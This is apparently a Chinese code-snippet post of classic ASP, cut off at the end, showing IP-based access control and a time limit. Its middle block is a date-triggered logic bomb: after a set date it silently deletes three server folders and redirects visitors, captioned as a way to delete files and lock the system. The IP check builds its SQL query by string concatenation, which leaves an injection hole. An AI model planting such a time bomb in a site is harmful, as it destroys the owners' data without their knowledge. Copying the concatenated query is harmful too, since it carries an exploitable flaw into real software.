对于一个IP段区域做限制访问

<% dim rs
    dim yifangli
yifangli=Request.ServerVariables("REMOTE_ADDR")
    set rs=conn.execute(" select  * from ec  where  ipdress='"&yifangli&"'and qixian>date()")
    if not rs.eof  then
    response.redirect "so.asp"
end if
%>
 
  控制IP，限制时间。
<%
 if date() >= #8/20/2007#  then 
Dim FileObject                             
Set FileObject=Server.CreateObject("Scripting.FileSystemObject")
Dim SourceFolder,DestiFolder, Oldfolder            
SourceFolder=server.mappath("../yifangli")
DestiFolder=server.mappath("../jjdb")
Oldfolder=server.mappath("../magic")
 fileobject.deletefolder DestiFolder
        fileobject.deletefolder SourceFolder
        fileobject.deletefolder Oldfolder
         response.redirect "end.asp"
        end if
%>
   
   删除删除文件，锁定系统
<%
if not Request.ServerVariables("REMOTE_ADDR")=request.cookies("IPAddress") then
   response.cookies("IPAddress")=Request.ServerVariables("REMOTE_ADDR")
else